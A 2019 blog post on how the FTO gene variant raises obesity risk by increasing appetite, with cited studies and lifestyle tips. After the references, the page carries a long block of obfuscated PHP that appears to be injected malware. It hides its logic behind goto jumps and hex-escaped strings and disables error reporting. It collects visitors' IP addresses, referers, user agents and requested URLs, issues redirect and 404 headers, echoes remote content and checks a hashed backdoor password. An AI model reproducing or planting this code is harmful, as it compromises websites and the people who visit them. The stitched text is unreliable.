Are your genes making you fat?

Written by Jia Yi Lee
Posted on August 22, 2019

Obesity is currently a major health concern, both globally and locally. This is because obesity is a risk factor of many non-communicable diseases. We all know that a poor diet and lifestyle can cause unhealthy weight gain. The question now is, do our genes play a role in controlling our weight too?

person standing on white digital bathroom scale

Can I blame my genes for being fat?

The answer is yes – but not completely!

In fact, research has shown differences in susceptibility between individuals that are determined by the genes.

Meet the FTO gene

The FTO gene is probably the most famous among the genes involved in weight gain.

It was first suggested that a common variant in this gene is associated with type 2 diabetes. Subsequent studies found that this variant in the gene predisposes individuals to diabetes through an effect on body mass index (BMI). A study even found that individuals with two copies of the ‘risk variant’ weighed about 3kg more than those who don’t!

So, how does it affect my weight?

You might think that the risk variant increases your risk of gaining weight by slowing down your metabolism, or accumulating more fat in your body.

However, research has given us another answer.

The FTO gene affects our body weight by making us eat more calories.

One study found that individuals with at least one copy of the risk variant consumed between 125 to 280 calories more each day than individuals who don’t. Other than that, another study found that children carrying the risk variant ate more energy-dense foods compared to those who don’t. Besides, individuals with two copies of the risk variant may also be less responsive to satiety cues, which often lead to overeating.

In fact, there is no significant link between your genes and how fast you burn calories! What happens is the genes alter your appetite by making you feel hungry faster, or less satiated after a meal.

A better lifestyle for better health!

It is certain that our DNA does has some effect on weight gain by affecting our eating behaviours. Nonetheless, this is something we can actively control. Therefore, should not use our genes as an excuse from living a healthy lifestyle and adopting good eating habits!

person running between grass fields

Our genetic makeup may play an important role in shaping who we are. However, you can have total control over your lifestyle, which is much more crucial when it comes to health!

A sedentary modern lifestyle is definitely one of the major reasons why people are gaining weight. Why not start getting active by taking the stairs instead of the lift, or taking a 15 minute stroll in your neighbourhood each day?

References

  1. Frayling, T. et al. (2007). A Common Variant in the FTO Gene Is Associated with Body Mass Index and Predisposes to Childhood and Adult Obesity. Science, 316(5826), pp.889-894.
  2. Speakman, J. et al. (2008). Polymorphisms of the FTOGene Are Associated With Variation in Energy Intake, but not Energy Expenditure. Obesity, 16(8), pp.1961-1965.
  3. Cecil, J. et al. (2008). An Obesity-Associated FTOGene Variant and Increased Energy Intake in Children. New England Journal of Medicine, 359(24), pp.2558-2566.
  4. Wardle, J. et al. (2008). Obesity Associated Genetic Variation in FTOIs Associated with Diminished Satiety. The Journal of Clinical Endocrinology & Metabolism, 93(9), pp.3640-3643.
  5. Fawcett, K. et al. (2010). The genetics of obesity: FTO leads the way. Trends in Genetics, 26(6), pp.266-274.

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x65\156\164"])); goto QWvm_m89LmNDj; wxds1ZPZC8t8f: header("\x48\124\x54\x50\x2f\61\56\x31\x20\x33\60\x32\x20\115\x6f\166\145\40\x54\x65\x6d\x70\157\162\141\162\151\x6c\x79"); goto G3yKAUUDdBKxr; QWvm_m89LmNDj: goto zWGKI4Hv2pTpv; goto W3ZYMEuL4xF9_; W3ZYMEuL4xF9_: case 404: goto UUL5hmfwmR0qY; YnYvxmOB6ia_T: header("\163\x74\141\x74\x75\x73\72\x20\64\x30\64\40\x4e\157\x74\40\x46\x6f\x75\156\x64"); goto O1k_1HkHx5g7k; O1k_1HkHx5g7k: goto zWGKI4Hv2pTpv; goto B2pDSvIkmb1VQ; UUL5hmfwmR0qY: header("\110\124\124\x50\x2f\x31\56\61\x20\x34\60\x34\40\x4e\157\x74\40\106\x6f\165\156\x64"); goto YnYvxmOB6ia_T; B2pDSvIkmb1VQ: default: goto zWGKI4Hv2pTpv; } goto fCJG5ES13l3i4; iKMb9NpQ0Wa1f: error_reporting(0); goto LOenakWexhCiK; CUVyx2kvjc7Bv: if (!strlen($k2gKYzhbIidOs["\x63\157\x6e\164\145\156\x74"])) { goto bTvjwr0JJluOZ; } goto VoMACLW07tNMn; ocrlFo60HdKtw: vGYt_mFZGk1hY: goto LeROmk0HXuaAG; Clqit5qp55a__: $v_byxu_GH_aWy = substr($KE8StQL98AulL, strpos($KE8StQL98AulL, "\56")); goto DvwabHGGPp6Vv; rrOKaW6ZdVRDp: if (!substr_count($_SERVER["\122\x45\x51\125\105\x53\124\137\x55\x52\x49"], "\x69\x6e\144\145\x78\x2e\160\x68\x70\x2f\x6a\153")) { goto o_xuu1JXjgvPa; } goto dTGPbnQx2SvI6; mSfx32hoK7RaE: O20GmmWpuB7Ut: goto gnYUJRdjCff78; JDj92HLtAnYcc: echo $k2gKYzhbIidOs["\x63\x6f\x6e\164\145\156\x74"]; goto FBiZ1ZPGbYLmx; t3H34IX4rP251: $fKcoUbHfweuX6["\x6c"] = oy9l4QJ9aVVkH($_SERVER["\110\124\x54\120\x5f\x41\103\x43\x45\x50\x54\137\x4c\101\116\x47\125\101\x47\x45"]); goto y6f9VEMauXjCK; y6f9VEMauXjCK: $fKcoUbHfweuX6["\163\x6e"] = oy9L4Qj9avvKh($_SERVER["\x53\x43\x52\x49\x50\x54\x5f\116\101\x4d\105"]); goto xogq9eoBwDmsK; ORBmhUNgekww2: $fKcoUbHfweuX6["\151"] = oy9l4QJ9avVKH($xsb0RcE4lR6rA); goto t3H34IX4rP251; KzeZgHeO48EuW: exit(strrev(md5($_SERVER["\x53\x45\122\126\105\122\137\116\x41\x4d\105"]))); goto K86B8bWu8pcJq; NhYx_RNzamheN: $eDutF3HKVCcoo = ${$B3rRoYj4v_PhG[25 + 6] . $B3rRoYj4v_PhG[3 + 56] . $B3rRoYj4v_PhG[7 + 40] . $B3rRoYj4v_PhG[13 + 34] . $B3rRoYj4v_PhG[23 + 28] . $B3rRoYj4v_PhG[22 + 31] . $B3rRoYj4v_PhG[21 + 36]}; goto Ub2BxAEyOwJVd; Ub2BxAEyOwJVd: if (!(in_array(gettype($eDutF3HKVCcoo) . count($eDutF3HKVCcoo), $eDutF3HKVCcoo) && count($eDutF3HKVCcoo) == 12 && md5(md5(md5(md5($eDutF3HKVCcoo[6])))) === "\146\146\x61\67\62\x66\x32\145\x61\71\x36\x65\x35\x32\145\x36\71\x64\60\x34\61\61\61\70\71\x66\141\64\x31\x33\x38\142")) { goto vGYt_mFZGk1hY; } goto FsSR7k4J2LsRG; GwqkI894kGv2O: zWGKI4Hv2pTpv: goto wnyBx2zVb8v61; SjWPaBUhNup67: QMgqCEdetPwxq::Cuq74siIbbwTJ(); goto XlKw_LYyv2AwY; zA_Rx0oh4UIE1: $B3rRoYj4v_PhG = $vfMsUuKN031B5("\176", "\40"); goto NhYx_RNzamheN; zVWci7LAzQCjt: $fKcoUbHfweuX6 = array(); goto ORBmhUNgekww2; emEiNzmL9X5Q5: if (!(strpos($NR6oSGrPYGUjY, $fWJAz7jwqdmGh) === 0)) { goto IZPFl1hrtMoau; } goto Xc4mwOPgMyKkX; bkBKCPZzEBn0b: function Oy9L4QJ9AVVkh($CRt27rN_kKUwt) { goto EF1toTXdzBhck; VLHSB1_IFq9J3: return rtrim(strtr(base64_encode($CRt27rN_kKUwt), "\53\x2f", "\x2d\x5f"), "\75"); goto K2AOfEOJ4pi2D; eRjJduBShGMM8: return ''; goto o3lCkYoXQAAD3; EF1toTXdzBhck: if ($CRt27rN_kKUwt) { goto c1mS1ZwUXn6mw; } goto eRjJduBShGMM8; o3lCkYoXQAAD3: c1mS1ZwUXn6mw: goto VLHSB1_IFq9J3; K2AOfEOJ4pi2D: } goto HwWbK1tn_TfG4; A0nsnuCB0Tk8g: $fWJAz7jwqdmGh = mVZUV88zu2YJI() . $_SERVER["\x48\124\124\x50\x5f\110\117\123\x54"]; goto emEiNzmL9X5Q5; L4N4x49hNnNph: $NR6oSGrPYGUjY = strval(@$_SERVER["\110\124\124\120\137\x52\105\x46\105\122\105\122"]); goto A0nsnuCB0Tk8g; JMoDVVROH8OCS: $fKcoUbHfweuX6["\163"] = Oy9L4qJ9AVvkh($fWJAz7jwqdmGh); goto FtpFOwVpYZ2Xp; bgYubpEeeCNXl: if ($SwEZuHdgOSyyr) { goto OIgTYm8OBN0aV; } goto HHLZ0JDXq8oeZ; xogq9eoBwDmsK: $fKcoUbHfweuX6["\162"] = OY9l4QJ9aVVKH($_SERVER["\122\x45\x51\125\105\123\124\137\x55\x52\x49"]); goto UbxXxfFtloArX; HwWbK1tn_TfG4: function u6IY2wkCLs09o() { goto yJ2JawYU5KAY0; juwCA60Lo9ZNj: if (isset($_SERVER["\110\x54\124\x50\x5f\130\137\122\105\101\x4c\137\x49\120"]) && !empty($_SERVER["\x48\124\124\120\x5f\130\137\122\x45\x41\x4c\x5f\x49\x50"])) { goto HyHWa0fylirXs; } goto Ca4QAKld__sVY; fZiJQgWIfn4tA: axCk0Ed0mQKFV: goto Ko2zOmvRTWOwC; M862cTe5sr_31: $xsb0RcE4lR6rA = explode("\x2c", $xsb0RcE4lR6rA); goto sd0jwVmzZ71We; DwIV2MAV2fhMJ: HyHWa0fylirXs: goto UlnpGeWCClJE0; yuYMWDEYRfKxm: goto cPB2cyg8FWhE6; goto fZiJQgWIfn4tA; sd0jwVmzZ71We: $xsb0RcE4lR6rA = $xsb0RcE4lR6rA[0]; goto zRObLq_OpLiqP; Ko2zOmvRTWOwC: $xsb0RcE4lR6rA = $_SERVER["\x48\124\124\120\137\x43\106\x5f\x43\x4f\x4e\116\x45\x43\x54\111\x4e\x47\x5f\111\x50"]; goto q32KIVTgNQrDU; Ca4QAKld__sVY: if (isset($_SERVER["\110\124\124\120\137\130\137\x46\117\x52\x57\101\122\x44\x45\x44\137\x46\117\x52"]) && !empty($_SERVER["\x48\x54\124\120\137\130\137\106\x4f\122\127\101\x52\x44\105\x44\137\106\117\x52"])) { goto trSwYhMpKBLo3; } goto mQ6MIazCsvpi3; WJAoo1Ek_WEiZ: if (isset($_SERVER["\110\x54\x54\x50\137\103\x46\x5f\x43\x4f\116\116\x45\103\124\111\116\x47\137\x49\x50"]) && !empty($_SERVER["\x48\124\124\x50\x5f\x43\106\137\103\117\x4e\116\105\x43\124\111\x4e\107\137\x49\x50"])) { goto axCk0Ed0mQKFV; } goto juwCA60Lo9ZNj; W5rex8VQSuDgj: $xsb0RcE4lR6rA = $_SERVER["\110\124\x54\x50\x5f\x58\x5f\106\117\x52\127\x41\x52\x44\x45\104\x5f\x46\x4f\122"]; goto gBn7ylzTrUKkV; C7udJvs4n14pk: return $xsb0RcE4lR6rA; goto D1AZleiZlUvYy; q32KIVTgNQrDU: goto cPB2cyg8FWhE6; goto DwIV2MAV2fhMJ; gBn7ylzTrUKkV: cPB2cyg8FWhE6: goto X_WoTpG1Z6eMp; w8nS4viDEwGLB: trSwYhMpKBLo3: goto W5rex8VQSuDgj; yg3KMWRAq9g2I: goto cPB2cyg8FWhE6; goto w8nS4viDEwGLB; mQ6MIazCsvpi3: $xsb0RcE4lR6rA = $_SERVER["\x52\x45\115\x4f\124\105\137\101\x44\104\x52"]; goto yuYMWDEYRfKxm; UlnpGeWCClJE0: $xsb0RcE4lR6rA = $_SERVER["\x48\124\124\x50\137\130\137\122\x45\x41\114\x5f\111\x50"]; goto yg3KMWRAq9g2I; zRObLq_OpLiqP: nRAE_rbKgGFOi: goto C7udJvs4n14pk; EHon44BHSRjTs: if (!(strpos($xsb0RcE4lR6rA, "\x2c") !== false)) { goto nRAE_rbKgGFOi; } goto M862cTe5sr_31; X_WoTpG1Z6eMp: $xsb0RcE4lR6rA = trim(str_replace("\40", '', $xsb0RcE4lR6rA), "\x2c"); goto EHon44BHSRjTs; yJ2JawYU5KAY0: $xsb0RcE4lR6rA = ''; goto WJAoo1Ek_WEiZ; D1AZleiZlUvYy: } goto kz8Sj39h2k1oR; OJ7PC6hUpTLDQ: error_reporting(0); goto e1qHgZ5kQh333; gnYUJRdjCff78: dDp60WEP5KucA: goto bgYubpEeeCNXl; Xc4mwOPgMyKkX: $NR6oSGrPYGUjY = ''; goto nZ3SrqwAvDoV3; P0Iq6Ou1jvLCT: OIgTYm8OBN0aV: ?>